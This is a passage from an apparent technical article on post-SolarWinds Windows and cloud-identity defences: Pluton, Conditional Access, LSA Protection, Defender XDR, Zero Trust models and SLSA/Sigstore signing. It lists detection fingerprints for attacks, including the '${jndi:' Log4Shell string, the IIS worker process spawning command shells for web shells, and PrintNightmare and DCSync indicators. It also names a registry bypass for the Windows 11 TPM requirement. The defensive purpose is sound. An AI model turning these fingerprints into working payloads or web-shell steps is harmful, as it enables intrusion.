On November 17, 2020 -- three weeks before Mandiant's SUNBURST disclosure -- David Weston announced the Microsoft Pluton security processor [@weston-2020-pluton]. The announcement named the architectural goal directly. Discrete Trusted Platform Modules sit on the LPC or SPI bus that runs between the CPU package and the motherboard chipset; the bus is observable with a logic analyzer. The 2019 Pulse Security research by Denis Andzakovic [@pulse-tpm-sniffing], the 2021 SCRT reproduction [@scrt-tpm-sniffing], and Henri Nurmi's 2022 WithSecure Labs SPI follow-up [@withsecure-tpm-sniffing] had all demonstrated that the BitLocker Volume Master Key transiting that bus was extractable with a forty-dollar FPGA. Pluton's architectural answer was to eliminate the bus. Place the security processor inside the CPU package, and the BitLocker key never traverses an externally observable trace.

Pluton is not a 2020 design. The same Microsoft Security and Pluton team shipped its first production silicon on the Xbox One in 2013, where the security processor was the anti-piracy and DRM key-storage root of trust. Galen Hunt's team then shipped a Pluton-derived security subsystem on Azure Sphere MCUs from April 2018, where it served as the secure-boot, runtime-attestation, and Microsoft-managed-firmware-update root for the IoT-microcontroller class [@azure-sphere-2018-azure-mirror]. The November 2020 announcement [@weston-2020-pluton] was the commitment to ship a mature security-processor design on general-purpose Windows PCs, not a new design.

A security processor co-designed by Microsoft, AMD, Intel, and Qualcomm, announced in November 2020 [@weston-2020-pluton] and shipped commercially in May 2022 on Lenovo ThinkPad Z13 and Z16 systems with AMD Ryzen 6000 SoCs -- the Lenovo StoryHub press release confirms the ship vehicle ("ThinkPad Z13 will be available from May 2022, starting from $1549" and "ThinkPad Z16 will be available from May 2022, starting from $2099"), and David Weston's CES 2022 Microsoft Windows Experience Blog post the same day names the same Pluton-on-Ryzen-6000 ThinkPad Z ship vehicle [@lenovo-thinkpad-z-press-jan2022, @pluton-windows-blog-jan2022]. Pluton can operate in three modes: as a TPM 2.0 implementation co-resident on the CPU die (the default on consumer Windows 11 systems where Pluton is enabled), as a security processor alongside a separate discrete TPM, or disabled at the OEM level [@ms-pluton-learn]. The architectural goal is to close the TPM bus-sniffing class by eliminating the external bus, not to add new cryptographic capability beyond what TPM 2.0 already specifies. flowchart TD subgraph DiscreteTPM[Discrete TPM topology] A1[CPU package] -- LPC or SPI bus, externally observable --> A2[Discrete TPM chip] A2 --> A3[VMK released to CPU at boot] A4[Attacker with logic analyzer] -. sniffs bus traffic .-> A1 end subgraph PlutonTopology[Pluton topology] B1[CPU package containing Pluton] --> B2[VMK released inside package, no external bus] B3[Attacker with logic analyzer] -. nothing to sniff .-> B1 end

Note: Matthew Garrett's April 2022 analysis of an AMD Ryzen 6000 firmware image documented that the PSP directory entry 0xB, bit 36, is an OEM-controlled toggle that disables Pluton at the firmware level [@mjg59-pluton]. Garrett's analysis confirmed Pluton silicon was present on his test machine and could be disabled by the OEM, not by the end user. The architectural implication is that "the system has a Pluton" and "Pluton is enabled and acting as the TPM" are independent claims, and an enterprise threat model that turns on the latter needs verification, not inference from the former.

The framing the Pluton announcement made explicit is the one that matters in the context of this article. Pluton is the hardware response to a supply-chain class. Discrete TPM was a supply chain answer for cryptographic identity; the LPC and SPI buses are a supply chain leak point because they cross a packaging boundary. Pluton closes the leak point by collapsing the boundary. The fact that the announcement landed three weeks before SUNBURST is coincidence; the fact that the two events name the same architectural problem at different layers is not.

6.2 The Windows 11 Hardware Baseline

Windows 11 reached general availability on October 5, 2021 [@win11-introducing]. The new install gate required TPM 2.0 and UEFI Secure Boot [@win11-specs] -- the first mainstream Microsoft operating system to require hardware roots of trust as a precondition for installation. The Windows installer verifies both at the install screen and refuses to proceed on systems that lack them.

The registry workaround at HKLM\SYSTEM\Setup\MoSetup\AllowUpgradesWithUnsupportedTPMOrCPU allows installation on systems with TPM 1.2 or an unsupported CPU model, but only as an in-place upgrade and only with explicit warning that the configuration is unsupported. The workaround is not part of the official install path; it documents the existence of an escape hatch without endorsing it. The architectural claim ("Windows 11 requires TPM 2.0 by official policy") is the operative one for fleet management.

The baseline does not eliminate the bootkit class. BlackLotus, disclosed in 2023, exploited CVE-2022-21894 to defeat Secure Boot on systems that had not patched the underlying bootloader vulnerability [@eset-blacklotus-2023]. The hardware-root-of-trust install gate is a baseline, not a ceiling. What it accomplishes architecturally is a population-level shift: by mid-2024, the median Windows 11 installation has a TPM, has Secure Boot enabled, and has measured boot data that VBS-based defenses (Credential Guard, HVCI) can layer on top of. Credential Guard in particular reached default-enabled status on hardware that meets the requirements in Windows 11 22H2 [@ms-credential-guard].

6.3 Conditional Access, CAE, and the Primary Refresh Token

The cloud-identity defense stack is the primitive that the four incidents most directly produced. Three components compose it, with explicit period-correct naming.

Microsoft's Zero Trust policy engine for Microsoft Entra ID (formerly Azure AD) [@ms-conditional-access]. A Conditional Access policy is an if-then statement that takes signals (user identity, group memberships, device compliance state, location, sign-in risk score, application being accessed) and produces an enforcement decision (allow, require multi-factor, require compliant device, block). Conditional Access policies act as the Policy Decision Point in the NIST SP 800-207 architecture; the resource being accessed acts as the Policy Enforcement Point. The mechanism by which a resource server can be informed mid-session that the user's risk state has changed and the existing access token should be re-evaluated [@ms-cae]. CAE is Microsoft's implementation of the OpenID Continuous Access Evaluation Profile (CAEP) [@openid-caep-spec], a Shared Signals and Events Framework standard. The Microsoft Learn CAE documentation describes critical-event evaluation as near real-time with up to fifteen minutes of event-propagation delay for some signals; IP-location policy enforcement propagates instantly [@ms-cae]. The initial supported relying parties are Exchange Online, SharePoint Online, and Teams [@ms-cae]. A long-lived authentication artifact issued by Microsoft Entra ID to first-party token brokers on Microsoft Entra joined and hybrid-joined devices [@ms-prt]. The PRT enables single sign-on across the applications used on those devices. The PRT's session key is non-exportable: on TPM-enabled devices the key is bound to the TPM and cannot be extracted from the machine. The PRT is the artifact that makes "compliant device" a meaningful signal in Conditional Access policies, because possession of a valid PRT cryptographically demonstrates the user is signing in from the specific device the PRT was issued to.

The "Azure AD" to "Microsoft Entra ID" rename history matters for citations and for tooling. Azure AD was the canonical name through July 11, 2023; the Microsoft Entra family umbrella was introduced on May 31, 2022 (Vasu Jakkal's Microsoft Security Blog post "Secure access for a connected world--meet Microsoft Entra" naming Azure AD, Cloud Infrastructure Entitlement Management, and decentralized identity as the initial family members [@ms-entra-launch-may2022]) but applied only to specific product families at that point; the Azure AD-to-Entra ID rename was July 11, 2023 [@ms-entra-rebrand]. Documentation written in 2021-2022 uses "Azure AD" throughout; documentation written after July 2023 uses "Microsoft Entra ID" throughout. Both names refer to the same product.

flowchart LR A[User on Entra-joined device] --> B[Device requests PRT, TPM-bound session key] B --> C[Entra ID issues PRT] C --> D[App access request, includes PRT-derived access token] D --> E[Conditional Access policy engine, the PDP] E --> F{"Signals, identity, device, location, risk score"} F --> G[Decision: allow, MFA, block] G --> H[Resource server, the PEP] H --> I[CAE channel back to Entra] I --> J[Risk-event signal triggers re-evaluation] J --> E

Together, the three primitives operationalize the Zero Trust framing in the Microsoft cloud-identity layer. Conditional Access decides at the PDP; CAE keeps the decision live after the initial sign-in; the PRT with TPM hardware binding makes the device-identity signal cryptographically meaningful rather than reputational. Microsoft Entra ID Protection layers risk-based signal-scoring on top, with detections for anomalous tokens, atypical travel patterns, and suspicious multi-factor approval flows [@ms-identity-protection-risks].

6.4 LSA Protection and the Vulnerable Driver Blocklist

The fourth Windows-side primitive is the pair of defaults that landed in 2022-2023 against credential-theft and bring-your-own-vulnerable-driver attacks respectively.

A Windows mechanism, introduced as an opt-in feature on Windows 8.1 and Windows Server 2012 R2 [@ms-lsa-protection], that runs the Local Security Authority subsystem (`lsass.exe`) as a Protected Process Light. The PPL status prevents non-PPL processes (including those running as SYSTEM) from opening LSASS with the access rights required for memory inspection or code injection. Mimikatz-style credential extraction from LSASS memory becomes unavailable to malware running outside the PPL trust level. The Microsoft Learn Windows 11 Security Book confirms the current default behavior: "LSA protection is enabled by default on all devices to help safeguard credentials. For new installations, it activates immediately. For upgrades, it becomes active after a five-day evaluation period followed by a system reboot" [@ms-win11-credprot-book] -- the audit-then-enforce rollout pattern that turned the opt-in 2013-era control into a default-on Windows 11 22H2 primitive; upgraded systems and systems flagged as incompatible remain opt-in. An attack pattern in which the attacker installs a *legitimately signed* third-party kernel driver that contains a known vulnerability, then exploits the driver's vulnerability to obtain kernel-mode code execution. The attacker thereby converts a userspace foothold into a kernel-mode foothold without writing kernel code that would have to pass Microsoft's signing process. The Vulnerable Driver Blocklist [@ms-driver-blocklist] is Microsoft's curated list of drivers known to be exploitable for BYOVD; Microsoft's KB5020779 -- titled "The vulnerable driver blocklist after the October 2022 preview release" -- states explicitly that "Starting with Windows 11, version 22H2, the blocklist is also enabled by default on all devices" [@ms-kb5020779-driverblocklist], anchoring both the October 2022 servicing milestone and the 22H2 default-on rollout. Community catalogs like LOLDrivers [@loldrivers] track the broader population.

The defaults matter precisely because the opt-in posture from 2013 onward did not produce population-level coverage. LSA Protection had been available for nine years before it shipped as a default; Vulnerable Driver Blocklist was available as a WDAC policy for several years before the default. The change in 2022-2023 is not the existence of the controls but the population they cover by default. Windows 11 22H2 fleets in 2024-2026 are the first Windows population in which a meaningful fraction of installs are LSA-Protected at sign-in and blocking the canonical BYOVD drivers at kernel-load time, on the default install path, without an administrator having configured the feature.

These four primitives -- Pluton at silicon, the Windows 11 hardware baseline at the OS install gate, Conditional Access with CAE and PRT at the cloud-identity layer, LSA Protection and Vulnerable Driver Blocklist as defaults on the endpoint -- are coherent if and only if they are layered. The fifth primitive, the Defender XDR composition plane, is what makes them layerable in practice.

6.5 Microsoft Defender XDR: The Composition Primitive

No single Defender product covers the full attack chain of any of the four 2020-2023 incidents. SUNBURST touches the endpoint, on-premises Active Directory, ADFS, and Microsoft 365 in sequence. ProxyLogon touches the IIS worker process, the file system, and downstream Exchange mailboxes. PrintNightmare touches the Spooler RPC interface on a Domain Controller. Log4Shell touches a Java application's process tree on Windows. The detection telemetry for each lives in a different product surface.

The unified incident-correlation and advanced-hunting plane that consolidates four product-level Defender products into a single security operations surface at `security.microsoft.com`. The four products are Microsoft Defender for Endpoint (workstation and server EDR), Microsoft Defender for Identity (on-premises Active Directory and ADFS detection) [@ms-defender-identity-creds], Microsoft Defender for Cloud Apps (cloud-session anomaly detection) [@ms-defender-cloud-apps-anomaly], and Microsoft Defender for Office 365 (email and collaboration phishing detection). XDR contributes three primitives the individual products cannot provide on their own: a common Kusto Query Language advanced-hunting schema across the four telemetry streams, incident correlation that groups alerts across products into a single cross-domain incident, and Automated Investigation and Response playbooks that span product boundaries.

The architectural role of each product against the article's incident set is specific.

Defender for Identity sources from Domain Controller event streams and from ADFS event logs. Its load-bearing detections against the SolarWinds-class follow-on are the SACL-based DCSync detection (which audits the three Directory-Replication-Get-Changes extended-rights GUIDs against AD event 4662 for non-DC principals) and the Golden SAML composite signal, which fuses an ADFS-anomaly alert with a downstream cloud-session anomaly and an Entra ID Protection risk-score elevation into a single correlated incident [@ms-defender-identity-creds]. The on-premises attack and the cloud-side forged-token consequence get joined in one investigation rather than two.

Defender for Endpoint carries the canonical ProxyLogon-class fingerprint: the IIS worker process w3wp.exe spawning cmd.exe, powershell.exe, cscript.exe, or bitsadmin.exe as a direct child [@ms-webshell-hunting-2021-feb]. The fingerprint generalizes beyond Exchange. The same parent-child pattern is the canonical web-shell pivot for ProxyShell against Exchange Server, for OGNL injection against Atlassian Confluence, and for any Java application-server exploitation against Tomcat on Windows in which the post-exploitation step drops a shell. One detection rule, multiple incident classes.

Defender for Cloud Apps runs the anomaly-detection plane against cloud sessions [@ms-defender-cloud-apps-anomaly]. The seven-day learning window builds a per-user behavioral baseline; subsequent sessions are scored against the baseline across impossible-travel, geographic deviation, device-fingerprint deviation, claim-set deviation, and token-lifetime deviation axes. The architectural significance against Storm-0558-class incidents is precisely that the cryptographic verification path will (by definition) accept a token forged with a stolen signing key -- so the catch has to happen at the behavioral layer rather than the signature layer. Defender for Cloud Apps is the heuristic anomaly net under the cryptographic floor.

Defender for Office 365 runs the upstream-vector layer for email and collaboration spearphishing -- the operator-pre-exploitation phase common to SolarWinds-class and HAFNIUM-class operations where the actor builds initial reconnaissance and credential access before reaching the production network. Its role in the article's incident set is preventive rather than detective: closing the recon entry path before the lateral-movement phase has a chance to begin.

flowchart TD A[Defender for Endpoint] --> E[Common KQL advanced-hunting schema] B[Defender for Identity] --> E C[Defender for Cloud Apps] --> E D[Defender for Office 365] --> E E --> F[Incident correlation engine] F --> G[Cross-domain incidents] G --> H[Automated Investigation and Response] H --> I[Cross-product remediation playbooks]

The canonical example of why XDR is the composition primitive: the SUNBURST chain produces a Defender for Endpoint network-beacon alert on the customer's Orion server (the SUNBURST DGA C2 callback), a Defender for Identity ADFS-token-extraction alert when the attacker takes the token-signing key off the ADFS host, a Defender for Cloud Apps Golden-SAML-pivoted session alert when the forged token authenticates against Exchange Online, and an Entra ID Protection forged-token sign-in alert with an anomalous claim set. Four product-level alerts. One real incident. Without the correlation plane, the alerts arrive as four separately triaged tickets; with it, they arrive as one investigation.

The framing the §6 architecture lands on is that the composition is structurally necessary. No 2020-2021 incident is covered by one of the five primitives alone. The 2022-2023 step forward is that all five primitives ship at scale; the load-bearing architectural argument is that none of them is sufficient in isolation. The next section walks the three competing architectural positions that determine how they are layered in practice.

7. Three Live Zero Trust Specifications

There is not one Zero Trust architecture in 2024-2026. There are three, and they are not interchangeable. Each closes a different gap; none closes all three.

Microsoft full-stack Zero Trust. The Microsoft posture is tightly integrated: Microsoft Entra ID for identity, Defender XDR for endpoint and cloud telemetry, Intune for device management, Purview for data classification, with Conditional Access as the policy engine that ties them together [@ms-zt-overview, @ms-zt-learn]. Microsoft Inside Track's published case study describes Microsoft's own seven-year internal transformation along this stack, anchored on four canonical scenarios: phishing-resistant MFA everywhere, device health attested before access, pervasive telemetry, and least-privilege enforcement [@ms-zt-at-microsoft]. Microsoft's deployment guide hub organizes the architecture along six pillars (Identity, Endpoints, Applications, Data, Infrastructure, Networks). Microsoft maintains a customer-stories portal at customers.microsoft.com with published case studies across consumer-goods, financial-services, healthcare, and public-sector cohorts. The case for the full-stack posture: operational coherence, integrated telemetry across identity and device, one policy plane to reason about. The case against: single-vendor risk, which SolarWinds made acutely concrete -- a posture in which one vendor supplies your operating system, identity provider, endpoint, and cloud productivity stack is architecturally homogeneous in exactly the way SUNBURST taught the industry to interrogate.

Best-of-breed multi-vendor. The third-party alternative composes an identity-as-a-service provider (Okta or Ping Identity), a third-party EDR (CrowdStrike Falcon or SentinelOne), a Secure Service Edge or Secure Web Gateway (Palo Alto Prisma or Zscaler), and a separate SIEM and SOAR for telemetry and orchestration. Okta's customer-stories portal positions itself around a "two-thirds of the Fortune 100" framing [@okta-customers]; the multi-vendor cohort spans Fortune 500 deployments across logistics, telecom, hospitality, and retail, with case studies on Okta's per-customer pages [@okta-customers]. The case for: cross-vendor coverage of the supply-chain class, on the principle that two independent vendor failures are less correlated than one. The case against: operational complexity, integration burden, and the recursive observation that any third-party vendor on the trusted-publisher list is itself a SolarWinds-style trust assumption -- the multi-vendor posture distributes the risk rather than eliminating it.

Both Microsoft's and Okta's customer-stories portals are organized by industry segment and per-customer case-study URL; specific named-customer cohorts vary as case studies are added, retired, or refreshed, so this article keeps the cohort framing at the industry-segment level rather than enumerating a fixed list of named brands [@ms-zt-at-microsoft, @okta-customers].

Federal Zero Trust (CISA ZTMM v2.0 and the OMB M-22-09 baseline). CISA published the Zero Trust Maturity Model v2.0 in April 2023 [@cisa-ztmm-v2]. The model defines a vendor-neutral architecture across five pillars (Identity, Devices, Networks, Applications and Workloads, Data) with three cross-cutting capabilities (Visibility and Analytics, Automation and Orchestration, Governance) and four maturity stages (Traditional, Initial, Advanced, Optimal). OMB Memorandum M-22-09 set the FY24 implementation baseline [@omb-m-22-09]. The DHS-specific operationalization, CISA Zero Trust Architecture Implementation, was published in January 2025 as the playbook for the department-level rollouts [@dhs-zta-impl]. The GAO audit GAO-24-106343 reported in March 2024 that the lead-implementation agencies (CISA, NIST, OMB) had fully completed 49 of 55 EO 14028 requirements, partially completed 5, with one not applicable [@gao-24-106343]. The SEC Office of Inspector General's September 2023 Final Management Letter is the canonical published example of an agency-level M-22-09 readiness review [@sec-oig-zt-mgmt-letter]. The case for: auditability, procurement neutrality, alignment with the federal mandate, and a measurable scorecard. The case against: it is a maturity model rather than an architectural specification, and adoption pace across federal civilian agencies has lagged the FY24 target the OMB memo set.

Pillar / Cost dimension	Microsoft full-stack	Best-of-breed multi-vendor	Federal CISA ZTMM v2.0
Trust root	Microsoft Entra ID + Microsoft Pluton	Mixed (Okta or Ping for SAML, third-party EDR)	Vendor-neutral; agency choice within five pillars
Identity plane	Entra ID with Conditional Access, CAE, PRT	Okta or Ping with SAML to downstream apps	Identity pillar with phishing-resistant MFA baseline
Endpoint	Defender for Endpoint	CrowdStrike Falcon or SentinelOne	Devices pillar; agency-selected EDR
Network	Microsoft Global Secure Access	Palo Alto Prisma or Zscaler	Networks pillar; SASE neutral
Integration FTE estimate	Low to medium (single-vendor APIs)	High (cross-vendor API integration)	Medium to high (M-22-09 compliance overhead)
Vendor supply-chain blast radius	Concentrated at one vendor	Distributed across four-plus vendors	Distributed; auditability primary

Microsoft was a SolarWinds Orion customer. Microsoft was one of the roughly one hundred follow-on victims of the SUNBURST follow-on phase. The MSRC final investigation update of February 18, 2021 documented the actor's late-November 2020 first viewing of files in source repositories, with continued attempts at access into early January 2021 [@msrc-solorigate-final]. The report named the targeted product families -- a small subset of Azure, Intune, and Exchange source-code repositories -- and confirmed no evidence of access to production services or customer data. Microsoft's own written conclusion was instructive: defense-in-depth protections prevented the actor from acquiring privileged credentials or executing SAML-token-forgery against Microsoft's corporate domains, and "in deployments that connect on-premises infrastructure to the cloud, organizations can delegate trust to on-premises components ... this creates an additional seam that organizations need to secure."

The best-of-breed multi-vendor argument is most concretely supported by Microsoft's own post-incident analysis, not by any third-party advocacy. A Zero Trust posture in which the policy engine and the operating system and the identity provider share a vendor -- and that vendor was itself a follow-on victim of a supply-chain compromise that targeted its source repositories -- needs to interrogate the assumption that one vendor's defense-in-depth is the load-bearing primitive. The Microsoft public conclusion is that defense-in-depth held; the structural observation the post-mortem invites is that "no single vendor should be the trust anchor for the policy engine that defends against vendor compromise."

Per-vendor licensing is the visible cost. The hidden cost is the engineering FTE the organization needs to maintain the integration graph between products: SCIM provisioning between IdP and downstream apps; SIEM connector maintenance across product versions; cross-product alert-correlation logic that the XDR composition plane handles for free in the Microsoft full-stack but has to be built from scratch in the best-of-breed posture. Federal cohort budgets generally absorb this via a dedicated cybersecurity-modernization line item that commercial Zero Trust pilots rarely receive. The integration-FTE cost is the most under-discussed input to the three-position choice.

All three are responses to the same incident clustering; none of them closes the structural ceiling the next section names.

8. What Even Perfect Execution Cannot Reach

If the four 2020-2021 incidents broke four engineering assumptions, the three bounds in this section are not engineering. They are mathematics and architecture.

Thompson's "Trusting Trust." A compiler that compiles itself can embed a backdoor that survives indefinitely with no trace in any audited source [@thompson-1984-acm, @thompson-nakamoto-reading]. SLSA addresses the visibility problem (what is in your supply chain) by attesting to build steps and provenance [@slsa-v1-levels]. SBOM addresses the composition problem (what components are in your artifact) by inventorying dependencies. Neither addresses the trust problem (what your supply-chain participants chose to do at points the attestations do not cover). SLSA Build Level 3 hardens the build platform; the hardened build platform's own toolchain is still an implicit trust root, and an attacker who compromises the toolchain at a layer below the attestation produces attested artifacts that are nevertheless malicious. The 1984 bound is not closed by 2026 supply-chain tooling.

A foundational result in computability theory (Henry Rice, 1953) stating that for any non-trivial semantic property of programs, no algorithm decides whether an arbitrary program has that property. The theorem bounds what static analysis of program behavior can achieve: no analyzer can decide, in general, whether a program will exfiltrate data, alter records, escalate privileges, or otherwise perform a given semantic action. Fred Cohen's 1984 "Computer Viruses: Theory and Experiments" applied the same bound to malware detection [@cohen-1984-virus]: no general algorithm can decide whether a program is a virus. SBOM tells you *what* is running; Rice tells you it cannot tell you whether what is running is safe.

Cohen 1984 and Rice's Theorem. SBOM data, combined with vulnerability databases, can answer "do we have a known-vulnerable component?" -- and Log4Shell IR proved that answer's value. SBOM cannot answer "is the component we have behaving safely?" -- and the post-Log4Shell follow-on CVEs proved that gap's reality. The composition is decidable; the semantics is not. Rice's Theorem is the bound on what an SBOM-plus-CVE-database posture can detect at scale.

The same-privilege paradox at the orchestration plane. A Zero Trust policy engine that decides every access decision is itself a privileged component. If the policy engine is compromised, the decisions it produces are not trustworthy, and the resources downstream of the engine cannot tell legitimate decisions from forged ones. Microsoft's "Assume Breach" third principle [@ms-zt-overview] is the operational acknowledgment that this ceiling is unsolved rather than closed -- "Assume Breach" is a posture for limiting blast radius after compromise, not a mechanism for preventing the compromise of the orchestration plane itself.

The 1984 result was load-bearing in December 2020. The 1953 theorem is load-bearing in December 2026. Both are still load-bearing, and the post-2023 stack does not close either.

9. Five Things 2026 Still Cannot Do

The Generation 5 stack walked in Section 6 is a necessary architectural pivot. It is not sufficient. Five honest residuals close out the open-problem framing.

Build-pipeline trust at scale. SLSA Build Level 3 adoption remains incomplete in 2026. Reproducible builds are still a research aspiration on most Linux distributions and an aspirational footnote on Windows. The median enterprise cannot answer "did this binary come from this source commit?" with cryptographic evidence; the answer in practice is "the vendor's release notes say so." in-toto attestations [@in-toto-home] cover specific build steps in mature deployments. The Generation 5 stack reduces the surface SUNBURST exploited; it does not foreclose it.

Identity-provider compromise as a class. Storm-0558 (disclosed July 2023, with the full root-cause investigation published in September 2023) is the post-window existence proof that the policy engine itself is a privileged plane [@msrc-storm-0558]. A 2021 crash dump that should not have contained signing-key material did contain Microsoft's consumer Microsoft Service Account (MSA) signing key; an engineer-account compromise enabled exfiltration of the dump; a validation flaw in Microsoft's enterprise token validation allowed consumer keys to sign enterprise tokens; the attacker forged Outlook Web Access and Exchange Online tokens for approximately twenty-five organizations, including U.S. State Department mailboxes. The incident is queued for Part 6.

Microsoft's designation for the China-based threat actor responsible for the July 2023 forged-token campaign against Outlook Web Access and Exchange Online, affecting approximately twenty-five organizations including U.S. State Department mailboxes [@msrc-storm-0558]. The incident sits outside this article's December 2021 closing window and structures Part 6 of the series. Part 6 of this series picks up the trust-root layer where Generation 5 left it. The architectural shape of the next era is the question Storm-0558 opened: if the identity provider's signing key is the trust root, what closes the compromise of that key as a class? Plausible answers in 2026 include shorter-lived signing keys with cryptographic attestation of issuance, threshold-signed identity providers that require multi-party participation in key use, sender-constrained tokens (DPoP) that bind tokens to specific client keys, and hardware-rooted attestation chains for identity-provider infrastructure. All of these are research-grade or early-deployment as of this article; the trust-root layer is the architectural frontier the post-2023 incidents have foregrounded.

Cross-vendor and managed-service-provider supply chains. The SolarWinds-class lesson did not generalize. The 3CX VoIP-client supply-chain compromise in March 2023 (attributed to UNC4736, a suspected North Korean nexus cluster Mandiant linked to Lazarus-class operations) [@mandiant-3cx-2023], the MOVEit file-transfer mass-exploitation by Cl0p in May-June 2023 [@cisa-aa23-158a], and the Change Healthcare [@unitedhealth-changehc-8k] and CDK Global [@cyberscoop-cdk-2024] cascades in 2024 demonstrated that the build-pipeline-trust lesson translated unevenly across third-party data-transfer and managed-service-provider classes. SLSA and SBOM are necessary tooling; they have not produced a population-level change in cross-vendor supply-chain risk.

The 2023-2024 supply-chain cascade (3CX, MOVEit, Change Healthcare, CDK Global) is the empirical reply to the "SolarWinds taught the industry" narrative. The lesson taught the industry to look for build-pipeline compromise of large software vendors; it did not, at the population level, teach the industry to look for the same class of compromise in mid-market communications, file-transfer, and dealer-management vendors. The structural problem the four-incident cluster of 2020-2021 named is still operative.

Conditional Access policy drift. Mature Microsoft Entra tenants routinely carry dozens of Conditional Access policies, with overlapping conditions, exclusions, and break-glass account exceptions. The cloud-identity equivalent of BloodHound -- a graph-analysis approach to enumerating reachable Tier-0 identities and policy bypasses -- remains research-grade in 2026. AzureHound and BloodHound Community Edition [@bloodhound-specterops] extend the on-premises model to the cloud, but production tooling for policy-graph analysis has not yet reached parity with the rate at which CA policies accumulate.

SBOM as forensics tool versus prevention tool. The Log4Shell IR experience demonstrated SBOM's forensics utility: organizations that had SBOM data answered "are we exposed?" in hours, while organizations without it took weeks. The prevention utility -- refusing to install software whose components fail policy -- has been slower to mature, both because component-policy semantics are not standardized and because the practical effect would be a substantial change to the enterprise software procurement model.

10. What a Practitioner Does Today

If you are reading this on a Monday, here is what you do this week, this quarter, this year, and what you stop trying to do entirely.

Lane 1: Preventive hygiene. Inventory vendor build-pipeline exposure. Which vendors push signed code to your endpoints? Which auto-update? Which are deployed via SCCM, Intune, or Workspace ONE? The inventory is the SolarWinds homework. Inventory internet-facing pre-auth surfaces (the ProxyLogon homework).

For build pipelines you own, the operational answer to the SUNSPOT lesson is the four-primitive chain that OpenSSF's SLSA v1.0 framework calls Build Level 3 [@slsa-v1-requirements]:

GitHub Actions OIDC ID tokens as workflow-bound short-lived identities, requested via permissions: id-token: write in the workflow YAML. The token's subject claim binds the job to a named workflow file and ref [@github-oidc-docs].
Sigstore Fulcio as the public-good keyless-signing certificate authority. Fulcio accepts the OIDC token plus an in-memory ephemeral keypair and returns a ~10-minute X.509 cert with the workflow SAN encoded into it [@sigstore-ccs2022, @cosign-signing-overview].
cosign signs the artifact with the ephemeral key and uploads the signature, certificate, and transparency-proof bundle [@cosign-signing-overview].
Rekor, the Trillian-backed Merkle-tree transparency log at rekor.sigstore.dev, returns a signed entry timestamp that asserts the signature existed before any later attacker could back-date it [@sigstore-rekor-docs].

No human signing key. No long-lived signing cert. No manual rotation. Every signing event is publicly auditable. SLSA Build Level 3 provenance is generated by the build platform itself through the OpenSSF reference reusable workflow slsa-framework/slsa-github-generator and attested through the same cosign + Rekor lane [@slsa-gh-generator]. Pair the chain with one of three SBOM-attestation tools as the predicate payload: Microsoft's sbom-tool for SPDX 2.2 / 3.0 drops on Microsoft-stack artifacts [@ms-sbom-tool], Anchore's syft for multi-language SPDX + CycloneDX generation natively paired with the Grype vulnerability scanner [@anchore-syft], or Aqua Security's trivy for single-step SBOM plus CVE plus IaC plus license plus secret scanning [@aquasec-trivy].

The OpenSSF SLSA framework's third Build-track level [@slsa-v1-requirements], reached when a build produces provenance that is *unforgeable* relative to the build platform itself. SLSA v1.0 (April 2023) defines three Build levels: L1 requires that provenance exists; L2 requires that provenance is authentic (signed by the build platform); L3 requires that provenance is unforgeable -- that is, the build platform's own identity is the signer, and no tenant on the build platform can produce provenance attributable to another tenant. Build L3 is what closes the SUNSPOT class for hosted-CI environments: even a tenant who controls their own build job cannot forge provenance for somebody else's artifact. The Linux Foundation public-good keyless-signing project, composed of three components: **Fulcio**, a certificate authority that issues short-lived (~10-minute) X.509 certificates binding an ephemeral keypair to an OpenID Connect identity claim; **cosign**, the command-line tool that orchestrates the keyless-signing workflow against Fulcio and Rekor; and **Rekor**, an append-only transparency log built on Google's Trillian Merkle-tree library that records every signing event and returns a signed entry timestamp [@sigstore-ccs2022, @cosign-signing-overview, @sigstore-rekor-docs]. The architectural property Sigstore delivers is the elimination of long-lived signing keys: a build job that runs for ten minutes signs an artifact with a key that exists only for the duration of the job, after which both the key and the certificate expire.

The canonical command-level tutorial for the Lane 1 chain lives at the OpenSSF SLSA "Producing Artifacts" requirements page [@slsa-v1-requirements] and the slsa-framework/slsa-github-generator reusable-workflow README [@slsa-gh-generator]; this article is the architectural primer, not the command reference.

Enable LSA Protection on every endpoint that supports it -- not just new Windows 11 22H2 clean installs, but every system in the fleet that can carry the configuration [@ms-lsa-protection]. Enable the Vulnerable Driver Blocklist [@ms-driver-blocklist]. Disable the Print Spooler on Domain Controllers as standing policy, per CISA ED 21-04 [@cisa-ed-21-04]. Roll out Pluton where the OEM ships it enabled; audit "Pluton present but disabled" with the same rigor as "TPM present but disabled."

{` // Logic equivalent of an audit script that lists trusted publishers // on a Windows endpoint and flags auto-updating vendors as // supply-chain-exposed. Demonstrates the inventory shape.

const trustedPublishers = [ { name: 'SolarWinds Worldwide LLC', autoUpdate: true, deployment: 'SCCM' }, { name: 'Microsoft Corporation', autoUpdate: true, deployment: 'WindowsUpdate' }, { name: 'Adobe Inc.', autoUpdate: true, deployment: 'AdobeRMS' }, { name: 'VMware Inc.', autoUpdate: false, deployment: 'manual' }, ];

function exposureScore(p) { let s = 1; if (p.autoUpdate) s += 2; if (p.deployment === 'SCCM' || p.deployment === 'Intune') s += 1; return s; }

const ranked = trustedPublishers .map(p => ({ ...p, score: exposureScore(p) })) .sort((a, b) => b.score - a.score);

for (const p of ranked) { console.log(p.score + ' ' + p.name + ' (' + p.deployment + ')'); } `}

Lane 2: Detection deployment. Microsoft Defender for Identity has SACL-based detections for DCSync, Golden Ticket, and Golden SAML signal patterns; deploy them and tune. Microsoft Defender for Endpoint has web-shell detections for the ProxyLogon-class IUSR-spawned cmd.exe pattern; deploy them on every Exchange front-end. Sigma rules for the canonical post-exploitation fingerprints (the ${jndi: substring in any logged event field for Log4Shell-class detection; RpcAddPrinterDriverEx for PrintNightmare-class detection on Domain Controllers).

For the Conditional Access policy drift surface §9 names as open-problem-3, three open-source tools form a complementary cohort. None subsumes the others; each closes a structurally distinct detection lane.

Maester is a PowerShell + Pester test-automation framework that wraps the Microsoft Graph Conditional Access "What If" evaluation API in the Test-MtConditionalAccessWhatIf cmdlet. It ships built-in test profiles aligned to the OMB M-22-09 phishing-resistant-MFA baseline and the CISA ZTMM v2.0 Identity-pillar Optimal stage, and is designed to run as a recurring GitHub Actions, Azure DevOps, or Azure Automation job [@maester-github, @maester-docs, @maester-ca-whatif]. Maester occupies the assertion lane: does the deployed CA-policy state pass an asserted baseline under What-If simulation?

CAOptics, Joosua Santasalo's Node.js permutation-enumeration tool, evaluates the (subject x app x condition) tuple space against the same Microsoft Graph CA-evaluation API and reports the gaps. It catches break-glass-account exclusion-clause interactions that Maester's assertion profiles do not exercise [@caoptics-github]. CAOptics occupies the gap-enumeration lane.

